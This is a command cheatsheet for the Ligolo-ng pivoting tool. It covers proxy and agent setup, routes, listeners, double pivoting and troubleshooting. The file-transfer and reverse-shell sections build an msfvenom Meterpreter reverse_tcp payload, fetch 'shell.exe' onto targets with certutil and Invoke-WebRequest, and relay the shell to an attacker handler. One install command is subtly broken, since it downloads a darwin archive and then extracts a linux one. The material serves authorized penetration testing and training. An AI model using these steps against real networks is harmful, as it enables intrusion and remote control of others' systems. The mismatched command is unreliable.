Ligolo-ng Cheatsheet (v0.8.3)

A comprehensive reference for Ligolo-ng 0.8.3 - an advanced, yet simple tunneling/pivoting tool that uses TUN interfaces

Overview
Installation
Initial Setup
Proxy Server Setup
Agent Setup
Session Management
Route Management
Listener Management
Tunnel Operations
Double Pivoting
File Transfers & Reverse Shells
Advanced Features
Common Commands Quick Reference
Troubleshooting

Overview

Ligolo-ng is a simple, lightweight, and fast tool for establishing tunnels from a reverse TCP/TLS connection using a TUN interface (no SOCKS proxy needed).

How It Works

Instead of using SOCKS proxies, Ligolo-ng creates a userland network stack using Gvisor. Packets sent to the TUN interface are translated and transmitted to the agent’s remote network.

Installation

Download from GitHub Releases

Official Releases: https://github.com/nicocha30/ligolo-ng/releases

Linux (Proxy - Attacker Machine):

# Download latest proxy for Linux AMD64
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_darwin_amd64.tar.gz

# Extract
tar -xzf ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz

# Make executable
chmod +x proxy

# Optional: Move to PATH
sudo mv proxy /usr/local/bin/ligolo-proxy

Linux (Agent - Target Machine):

# Download latest agent for Linux AMD64
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_linux_amd64.tar.gz

# Extract
tar -xzf ligolo-ng_agent_0.8.3_linux_amd64.tar.gz

# Make executable
chmod +x agent

Windows (Agent - Target Machine):

# Download Windows agent
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_windows_amd64.zip

# Extract (on Windows)
# unzip ligolo-ng_agent_0.8.3_windows_amd64.zip

Common Architectures:

Linux AMD64: ligolo-ng_*_linux_amd64.tar.gz
Linux ARM64: ligolo-ng_*_linux_arm64.tar.gz
Windows AMD64: ligolo-ng_*_windows_amd64.zip
Windows ARM64: ligolo-ng_*_windows_arm64.zip
macOS AMD64: ligolo-ng_*_darwin_amd64.tar.gz
macOS ARM64 (M1/M2): ligolo-ng_*_darwin_arm64.tar.gz

Check Latest Version: Visit https://github.com/nicocha30/ligolo-ng/releases/latest to get the most recent version number.

Initial Setup

1. Create TUN Interface (Attacker Machine)

Linux (Recommended):

# Inside Ligolo proxy session - Modern approach
ligolo-ng » interface_create --name "ligolo"

# Alternatively, manual creation:
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

Delete Existing Interface (if needed):

sudo ip link del ligolo

Verify Interface:

ip a show ligolo

Windows:

Download Wintun driver from WireGuard
Place wintun.dll in same folder as Ligolo
Interface created automatically on tunnel start

macOS:

Use utun device (e.g., utun4)
Interface managed automatically

Proxy Server Setup

Basic Proxy Commands

View Help:

ligolo-proxy -h

Proxy Options

Option	Description
`-selfcert`	Generate self-signed certificates (lab use)
`-autocert`	Auto-request Let’s Encrypt certificates
`-certfile <path>`	Use existing TLS certificate
`-keyfile <path>`	Private key for TLS certificate
`-laddr <ip:port>`	Listen address (default: 0.0.0.0:11601)
`-allow-domains <domains>`	Comma-separated allowed domains for autocert
`-config <file>`	Load configuration from YAML file
`-daemon`	Run proxy in daemon mode
`-webui`	Enable web interface (default port: 8080)
`-webui-addr <ip:port>`	Web interface listen address

Starting the Proxy

Self-Signed Certificate (Lab):

./proxy -selfcert

Custom Listen Address:

./proxy -laddr 0.0.0.0:9001 -selfcert

With Web Interface:

./proxy -selfcert -webui
# Access at http://localhost:8080

Let’s Encrypt (Production):

./proxy -autocert
# Requires port 80 accessible for validation

Custom Certificate:

./proxy -certfile ligolo.crt -keyfile ligolo.key

From Configuration File:

./proxy -config config.yaml

Daemon Mode:

./proxy -selfcert -daemon

Certificate Fingerprint

# In proxy session
ligolo-ng » certificate_fingerprint

Agent Setup

Basic Agent Connection

Linux/macOS:

# Make executable
chmod +x agent

# Connect to proxy
./agent -connect <PROXY_IP>:11601 -ignore-cert

# With certificate validation
./agent -connect <PROXY_IP>:11601 -accept-fingerprint <FINGERPRINT>

Windows:

# Connect to proxy
agent.exe -connect <PROXY_IP>:11601 -ignore-cert

Agent Options

Option	Description
`-connect <ip:port>`	Proxy server address
`-ignore-cert`	Ignore certificate validation (lab only)
`-accept-fingerprint <hash>`	Accept specific certificate fingerprint
`-bind <ip:port>`	Run agent as server (bind mode)
`-retry`	Automatically retry connection on failure
`-v`	Verbose output

Agent Connection Examples

Basic Connection:

./agent -connect 192.168.1.100:11601 -ignore-cert

With Auto-Retry:

./agent -connect 192.168.1.100:11601 -ignore-cert -retry

Secure Connection:

./agent -connect attacker.com:11601 -accept-fingerprint D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC

Bind Mode:

./agent -bind 0.0.0.0:11601 -selfcert

Session Management

Session Commands

List Sessions:

ligolo-ng » session

Select Session:

ligolo-ng » session
? Specify a session : 1 - user@hostname - IP:PORT

View Agent Information:

[Agent : user@hostname] » ifconfig

Session Information:

[Agent : user@hostname] » info

Route Management

Adding Routes

Method 1: Ligolo CLI (Recommended):

# Add route via Ligolo interface
ligolo-ng » interface_add_route --name ligolo --route 192.168.0.0/24

# From agent session
[Agent : user@host] » route_add --name ligolo --route 172.16.139.0/24

Method 2: Linux ip Command:

# Add route for target network
sudo ip route add <TARGET_NETWORK>/24 dev ligolo

# Examples
sudo ip route add 10.0.52.0/24 dev ligolo
sudo ip route add 172.16.139.0/24 dev ligolo

Route Management Commands

List Routes:

ligolo-ng » route_list
[Agent : user@host] » route_list

Delete Route:

ligolo-ng » route_delete --name ligolo --route 192.168.0.0/24

Accessing Agent’s Localhost

Add Special Route:

# Route to access agent's 127.0.0.1
sudo ip route add 240.0.0.1/32 dev ligolo

Usage:

# Access agent's local services
nmap 240.0.0.1
ssh user@240.0.0.1

Listener Management

Listener Commands

Add Listener:

# Forward remote port to local machine
[Agent : user@host] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444

# Forward to specific service
[Agent : user@host] » listener_add --addr 0.0.0.0:3389 --to 172.16.139.10:3389

# Custom listener
[Agent : user@host] » listener_add --addr 0.0.0.0:8080 --to 10.10.10.5:80 --tcp

List Listeners:

[Agent : user@host] » listener_list

Remove Listener:

[Agent : user@host] » listener_remove --id <LISTENER_ID>

Listener Use Cases

Reverse Shell Catching:

# Create listener on agent pointing to attacker
[Agent : user@host] » listener_add --addr 0.0.0.0:5656 --to 127.0.0.1:4444 --tcp

File Transfer:

# Forward agent port to attacker's HTTP server
[Agent : user@host] » listener_add --addr 0.0.0.0:2222 --to 127.0.0.1:8888 --tcp

Port Forwarding:

# Access internal service via agent
[Agent : user@host] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp

Tunnel Operations

Starting/Stopping Tunnels

Start Tunnel:

# Start tunnel with interface name
[Agent : user@host] » tunnel_start --tun ligolo

# Alternative shorthand
[Agent : user@host] » start

Stop Tunnel:

[Agent : user@host] » tunnel_stop
# or
[Agent : user@host] » stop

Tunnel Workflow

Select Agent Session:
```
ligolo-ng » session
```
View Agent Networks:
```
[Agent : user@host] » ifconfig
```

Add Route:

[Agent : user@host] » route_add --name ligolo --route 172.16.0.0/24

Start Tunnel:

[Agent : user@host] » tunnel_start --tun ligolo

Verify Connectivity:

# From attacker machine
ping 172.16.0.1
nmap 172.16.0.0/24

Double Pivoting

Setup Second Pivot

1. Create Second TUN Interface:

# On attacker machine
# Inside Ligolo proxy session - Modern approach
ligolo-ng » interface_create --name "ligolo-double"

# Alternatively, manual creation:
sudo ip tuntap add user $(whoami) mode tun ligolo-double
sudo ip link set ligolo-double up

2. Add Listener on First Agent:

# From first agent session
[Agent : user@jumpbox1] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp

3. Connect Second Agent:

# On second pivot machine (connect to first agent)
./agent -connect <FIRST_AGENT_IP>:11601 -ignore-cert

4. Configure Second Tunnel:

# Select second agent
ligolo-ng » session
? Specify a session : 2 - user@jumpbox2 - IP:PORT

# Add route for second network
[Agent : user@jumpbox2] » route_add --name ligolo-double --route 10.1.30.0/24

# Start tunnel
[Agent : user@jumpbox2] » tunnel_start --tun ligolo-double

5. Add Route to Second Network:

# On attacker machine
sudo ip route add 10.1.30.0/24 dev ligolo-double

Multi-Hop Example

Attacker → Agent1 (192.168.1.0/24) → Agent2 (10.10.0.0/24) → Agent3 (172.16.0.0/24)

Configuration:

# Interface 1
sudo ip route add 192.168.1.0/24 dev ligolo

# Interface 2  
sudo ip route add 10.10.0.0/24 dev ligolo-2

# Interface 3
sudo ip route add 172.16.0.0/24 dev ligolo-3

File Transfers & Reverse Shells

File Transfer Setup

1. Create Listener on Agent:

[Agent : user@pivot] » listener_add --addr 0.0.0.0:2222 --to 127.0.0.1:8888 --tcp

2. Start HTTP Server on Attacker:

# Host files on port 8888
python3 -m http.server 8888

3. Download from Target:

# Linux
wget http://<AGENT_IP>:2222/file.txt

# Windows
Invoke-WebRequest -Uri "http://<AGENT_IP>:2222/shell.exe" -OutFile shell.exe
certutil -urlcache -f http://<AGENT_IP>:2222/file.exe file.exe

Reverse Shell Catching

1. Generate Reverse Shell:

# MSFVenom example - use AGENT IP and port
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=<AGENT_IP> LPORT=5656 \
  -f exe -o shell.exe

2. Create Listener on Agent:

# Forward agent's 5656 to attacker's 4444
[Agent : user@pivot] » listener_add --addr 0.0.0.0:5656 --to 127.0.0.1:4444 --tcp

3. Setup Handler on Attacker:

# Metasploit
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run

# Netcat
nc -lvnp 4444

4. Execute on Target:

./shell.exe

Advanced Features

Interface Management

Create Interface:

ligolo-ng » interface_create --name "evil-cha"

List Interfaces:

ligolo-ng » interface_list

Delete Interface:

ligolo-ng » interface_delete --name "evil-cha"

Web Interface (NEW in v0.8)

Enable Web Interface:

# Start proxy with web UI
./proxy -selfcert -webui

# Access at http://localhost:8080

Custom Web UI Port:

./proxy -selfcert -webui -webui-addr 0.0.0.0:9090

Features:

Multiplayer collaboration
Visual network topology
Real-time agent status
Route management GUI
Listener management

Configuration File (NEW in v0.8)

Sample config.yaml:

proxy:
  listen_addr: "0.0.0.0:11601"
  selfcert: true
  webui: true
  webui_addr: "0.0.0.0:8080"

auto_bind:
  - agent_name: "webserver"
    routes:
      - "172.16.0.0/24"
    listeners:
      - addr: "0.0.0.0:8080"
        to: "127.0.0.1:8080"

Use Config File:

./proxy -config config.yaml

Agent Kill (NEW in v0.8)

Remotely Terminate Agent:

[Agent : user@host] » agent_kill

Auto-Route Management

Windows:

# Show interfaces
netsh int ipv4 show interfaces

# Add route
route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [INTERFACE_IDX]

macOS:

# Assign IP to interface
sudo ifconfig utun4 alias [random_ip] 255.255.255.0

# Add route
sudo route add -net 192.168.2.0/24 -interface utun4

Common Commands Quick Reference

Attacker Setup

# Create interface (modern method)
ligolo-ng » interface_create --name "ligolo"

# Or manual method
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Start proxy
./proxy -selfcert

# Add route (after tunnel start)
sudo ip route add 10.0.52.0/24 dev ligolo

Agent Connection

./agent -connect <PROXY_IP>:11601 -ignore-cert

Session Workflow

# In proxy
session                                      # Select agent
ifconfig                                     # View networks
route_add --name ligolo --route 10.0.0.0/24 # Add route
tunnel_start --tun ligolo                    # Start tunnel
route_list                                   # Verify

Common Operations

# Add listener
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444

# List listeners  
listener_list

# Stop tunnel
tunnel_stop

# Help
help

Troubleshooting

Common Issues

1. Interface Creation Fails:

# Delete existing interface
sudo ip link del ligolo

# Recreate using modern method
ligolo-ng » interface_create --name "ligolo"

# Or manual method
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

2. Routes Not Working:

# Verify interface is up
ip link show ligolo

# Check routing table
ip route show

# Verify tunnel is started
[Agent : user@host] » route_list

3. Connection Issues:

# Test connectivity to proxy
telnet <PROXY_IP> 11601

# Check firewall rules
sudo iptables -L -n

# Verify agent is running
ps aux | grep agent

4. Certificate Errors:

# Use -ignore-cert for testing
./agent -connect <IP>:11601 -ignore-cert

# Or accept fingerprint
./agent -connect <IP>:11601 -accept-fingerprint <HASH>

5. Permission Denied:

# Ensure proper permissions on TUN interface
sudo ip tuntap add user <your_username> mode tun ligolo

# Or use sudo for routes
sudo ip route add 10.0.0.0/24 dev ligolo

Debugging

Verbose Mode:

./agent -connect <IP>:11601 -ignore-cert -v

Check Logs:

# Agent logs
./agent -connect <IP>:11601 -v 2>&1 | tee agent.log

# Proxy logs  
./proxy -selfcert -v 2>&1 | tee proxy.log

Testing Connectivity

# Ping through tunnel
ping -c 4 <TARGET_IP>

# Nmap scan
nmap -sn <TARGET_NETWORK>/24

# Check specific port
nc -zv <TARGET_IP> <PORT>

Performance Issues

Use unprivileged mode with Nmap:

nmap --unprivileged <TARGET>
# or
nmap -PE <TARGET>

Note: SYN scans become TCP connect scans due to agent running without raw socket privileges.

Example Workflow

Real-World Scenario

# 1. Setup on Attacker
sudo ip link del ligolo
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 10.0.52.0/24 dev ligolo
./proxy -laddr 0.0.0.0:9001 -selfcert

# 2. Connect Agent
./agent -connect <ATTACKER_IP>:9001 -ignore-cert

# 3. In Proxy Session
session  # Select agent
route_add --name evil-cha --route 172.16.139.0/24
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
listener_add --addr 0.0.0.0:3389 --to 172.16.139.10:3389
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601
tunnel_start --tun evil-cha

# 4. Verify
route_list
listener_list

# 5. Access Internal Network
nmap 172.16.139.0/24
xfreerdp /v:172.16.139.10 /u:admin

Resources

Official Documentation: https://docs.ligolo.ng/
GitHub Repository: https://github.com/nicocha30/ligolo-ng
Releases: https://github.com/nicocha30/ligolo-ng/releases
StationX Tutorial: https://www.stationx.net/how-to-use-ligolo-ng/

Last Updated: March 2026
Ligolo-ng Version: 0.8.3

Ligolo-ng Cheatsheet (v0.8.3)

Table of Contents

Overview

How It Works

Installation

Download from GitHub Releases

Initial Setup

1. Create TUN Interface (Attacker Machine)

Proxy Server Setup

Basic Proxy Commands

Proxy Options

Starting the Proxy

Certificate Fingerprint

Agent Setup

Basic Agent Connection

Agent Options

Agent Connection Examples

Session Management

Session Commands

Route Management

Adding Routes

Route Management Commands

Accessing Agent’s Localhost

Listener Management

Listener Commands

Listener Use Cases

Tunnel Operations

Starting/Stopping Tunnels

Tunnel Workflow

Double Pivoting

Setup Second Pivot

Multi-Hop Example

File Transfers & Reverse Shells

File Transfer Setup

Reverse Shell Catching

Advanced Features

Interface Management

Web Interface (NEW in v0.8)

Configuration File (NEW in v0.8)

Agent Kill (NEW in v0.8)

Auto-Route Management

Common Commands Quick Reference

Attacker Setup

Agent Connection

Session Workflow

Common Operations

Troubleshooting

Common Issues

Debugging

Testing Connectivity

Performance Issues

Example Workflow

Real-World Scenario

Resources